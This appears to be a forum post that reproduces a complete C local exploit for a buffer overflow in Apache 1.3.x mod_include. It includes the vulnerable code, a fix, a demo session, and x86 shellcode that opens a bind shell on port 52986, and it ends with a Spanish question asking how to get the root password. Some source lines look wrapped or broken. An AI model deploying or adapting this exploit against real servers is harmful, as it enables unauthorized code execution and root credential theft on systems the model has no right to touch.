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Autor
/*********************************************************************************
local exploit for mod_include of apache 1.3.x *
written by xCrZx /18.10.2004/ *
bug found by xCrZx /18.10.2004/ *
*
y0das old shao lin techniq ownz u
remember my words *http://lbyte.ru/16-masta_killa-16-mastakilla-mad.mp3 *
*
Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike) *
*********************************************************************************/
/*********************************************************************************
Technical Details: *
*
there is an overflow in get_tag function: *
*
static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int dodecode) *
{ *
... *
term = c; *
while (1) { *
GET_CHAR(in, c, NULL, p); *
[1] if (t - tag == tagbuf_len) { *
*t = '\0'; *
return NULL; *
} *
// Want to accept \" as a valid character within a string. // *
if (c == '\\') { *
[2] *(t++) = c; // Add backslash // *
GET_CHAR(in, c, NULL, p); *
if (c == term) { // Only if // *
[3] *(--t) = c; // Replace backslash ONLY for terminator // *
} *
} *
else if (c == term) { *
break; *
} *
[4] *(t++) = c; *
} *
*t = '\0'; *
... *
*
as we can see there is a [1] check to determine the end of tag buffer *
but this check can be skiped when [2] & [4] conditions will be occured *
at the same time without [3] condition. *
*
So attacker can create malicious file to overflow static buffer, on *
which tag points out and execute arbitrary code with privilegies of *
httpd child process. *
*
Fix: *
[1*] if (t - tag >= tagbuf_len-1) { *
*
Notes: To activate mod_include you need write "XBitHack on" in httpd.conf *
*
*********************************************************************************/
/*********************************************************************************
Example of work: *
*
[root@blacksand htdocs]# make 85mod_include *
cc 85mod_include.c -o 85mod_include *
[root@blacksand htdocs]# ./85mod_include 0xbfff8196 > evil.html *
[root@blacksand htdocs]# chmod +x evil.html *
[root@blacksand htdocs]# netstat -na|grep 52986 *
[root@blacksand htdocs]# telnet localhost 8080 *
Trying 127.0.0.1... *
Connected to localhost. *
Escape character is '^]'. *
GET /evil.html HTTP/1.0 *
^] *
telnet> q *
Connection closed. *
[root@blacksand htdocs]# netstat -na|grep 52986 *
tcp 0 0 0.0.0.0:52986 0.0.0.0:* LISTEN *
[root@blacksand htdocs]# *
*********************************************************************************/
/*********************************************************************************
Notes: ha1fsatan - ti 4elovek-kakashka
)) be co0l as always **********************************************************************************/
/*********************************************************************************
Personal hello to my parents
**********************************************************************************/
/*********************************************************************************
Public shoutz to: m00 security, ech0
, LByte, 0xbadc0ded and otherz **********************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define EVILBUF 8202
#define HTMLTEXT 1000
#define HTML_FORMAT "<html>\n<!--#echo done=\"%s\" -->\nxCrZx 0wn U\n</
html>"
#define AUTHOR "\n*** local exploit for mod_include of apache 1.3.x by xCrZx /18.10.2004/ ***\n"
int main(int argc, char **argv) {
char html[EVILBUF+HTMLTEXT];
char evilbuf[EVILBUF+1];
//can be changed
char shellcode[] =
// bind shell on 52986 port
"\x31\xc0"
"\x31\xdb\x53\x43\x53\x89\xd8\x40\x50\x89\xe1\xb0\x66\xcd\x80\x43"
"\x66\xc7\x44\x24\x02\xce\xfa\xd1\x6c\x24\x04\x6a\x10\x51\x50\x89"
"\xe1\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x43\x89\x61\x08\xb0"
"\x66\xcd\x80\x93\x31\xc9\xb1\x03\x49\xb0\x3f\xcd\x80\x75\xf9\x68"
"\x2f\x73\x68\x20\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\x51"
"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
//execve /tmp/sh <- your own program
/*
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/tmp/sh";
*/
char NOP[] = "\x90\x40"; // special nops
char evilpad[] = "\\CRZCRZCRZCRZC"; // trick
int padding,xpad=0;
int i,fd;
long ret=0xbfff8688;
if(argc>1) ret=strtoul(argv[1],0,16);
else { fprintf(stderr,AUTHOR"\nUsage: %s <RET ADDR> > file.html\n\n",argv[0]);exi
t(0); }
padding=(EVILBUF-1-strlen(shellcode)-4-strlen(evilpad)+2);
while(1) {
if(padding%2==0) { padding/=2; break;}
else {padding--;xpad++;}
}
memset(html,0x0,sizeof html);
memset(evilbuf,0x0,sizeof evilbuf);
for(i=0;i<padding;i++)
memcpy(evilbuf+strlen(evilbuf),&NOP,2);
for(i=0;i<xpad;i++)
memcpy(evilbuf+strlen(evilbuf),(evilbuf[strlen(evilbuf)-1]==NOP[1])?(&NOP[0])
&NOP[1]),1);memcpy(evilbuf+strlen(evilbuf),&shellcode,sizeof shellcode);
memcpy(evilbuf+strlen(evilbuf),&evilpad,sizeof evilpad);
*(long*)&evilbuf[strlen(evilbuf)]=ret;
sprintf(html,HTML_FORMAT,evilbuf);
printf("%s",html);
return 0;
}
ESTE EXPLOIT QUE HACE EN UN SERVER APACHE VULNERABLE? ME DEVUELVE LA PASS DEL ROOT? O QUE TENDRIA QUE HACER PARA QUE ME DEVOLVIERA ESA PASS DEL ROOT cifrada?
GRACIAS..
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